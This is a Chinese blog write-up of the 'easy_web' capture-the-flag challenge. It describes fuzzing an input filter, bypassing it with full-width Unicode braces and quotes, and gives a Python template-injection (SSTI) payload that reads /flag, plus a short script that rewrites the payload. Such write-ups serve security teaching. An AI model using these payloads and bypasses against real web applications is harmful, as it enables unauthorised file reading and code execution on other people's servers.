当前位置:网站首页>攻防世界--easy_web
攻防世界--easy_web
2022-07-26 05:11:00 【jjj34】
目录
1.拿到题目后,进行目录扫描,可惜没扫出来有用的东西
2.有一个输入框,随便输一个参数并且通过bp抓包查看

两个注意点: 1.Python/3.7.12 看到python写的,就想到了SSTI模板注入

确定了服务器会将我们输入的参数当作html语言解析。
2.看返回的字段,应该是有过滤的
对输入框进行模糊测试
测试的返回是所有的单字符,即 ascii中 33-127的所有字符(特殊符号,字母大小写,数字)

length为198的就是被过滤掉的
4.怎么绕过过滤
根据题意,我们可以通过特殊字符来绕过
特殊字符的网站:符号大全-特殊符号-特殊符号大全 (fhdq.net)
直接输入 { 会被过滤掉,因此我们可以输入 ︷

对比发现,两种特殊符号都可以解析成 {


对过滤进行一个小总结
{ -> ︷/﹛
} -> ︸/﹜
' -> '5.利用找好的过滤条件进行解题
{
{''.__class__.__mro__[2].__subclasses__()[40]('/flag').read()}}
变为

替换成功
利用python进行字符的替换
"""
{ -> ︷/﹛
} -> ︸/﹜
' -> '
, -> ,
"""
str='{
{\'\'.__class__.__mro__[1].__subclasses__()[91].get_data(0,\'/flag\')}}' #原字符串
#如果需要替换replace(被替换的字符,替换后的字符)
str=str.replace('{','︷')
str=str.replace('}','︸')
str=str.replace('\'',''')
print(str)
边栏推荐
- Uniapp applet framework - a set of code, multi segment coverage
- 地球系统模式(CESM)实践技术
- [weekly translation go] how to write your first program with go
- @Principle of Autowired annotation
- Recommendation system - machine learning
- 5个chrome简单实用的日常开发功能详解,赶快解锁让你提升更多效率!
- Leetcode linked list problem - 206. reverse linked list (learn linked list by one question and one article)
- The pit of history can only be filled up as far as possible
- 35. Search the insertion position
- CLM陆面过程模式
猜你喜欢
![Meta analysis [whole process, uncertainty analysis] method based on R language and meta machine learning](/img/87/9f8353c5c9c700eaa63f66697aa44a.png)
Meta analysis [whole process, uncertainty analysis] method based on R language and meta machine learning

推荐12个免费查找文献的学术网站,建议点赞、收藏!

Reason for pilot importerror: cannot import name 'pilot_ Version 'from' PIL ', how to install pilot < 7.0.0

SAP报表开发步骤
![提升命令行效率的 Bash 快捷键 [完整版]](/img/ec/f0dd2fbfac6853ae60d7cf52d8f3e1.png)
提升命令行效率的 Bash 快捷键 [完整版]

普林斯顿微积分读本02第一章--函数的复合、奇偶函数、函数图像

Unity scene jump script

Embedded sharing collection 21

提高shuffle操作中的reduce并行度

Nacos registry
随机推荐
Yolov5 implementation process - Directory
推荐12个免费查找文献的学术网站,建议点赞、收藏!
SAP报表开发步骤
一次线上事故,我顿悟了异步的精髓
Getting started with ALV
新导则下的防洪评价报告编制方法及洪水建模
Embedded sharing collection 21
Excel vba: saving multiple worksheets as new files
security权限管理详解
Date and time function of MySQL function summary
Five simple and practical daily development functions of chrome are explained in detail. Unlock quickly to improve your efficiency!
Alibaba three sides: how to solve the problems of MQ message loss, duplication and backlog?
When AQS wakes up the thread, I understand why it traverses from the back to the front
推荐系统-机器学习
C语言详解系列——函数的认识(4)函数的声明与定义,简单练习题
YOLOv5执行全过程----目录
CLM land surface process model
[acwing] 2983. Toys
Improve reduce parallelism in shuffle operation
真正的科学减肥
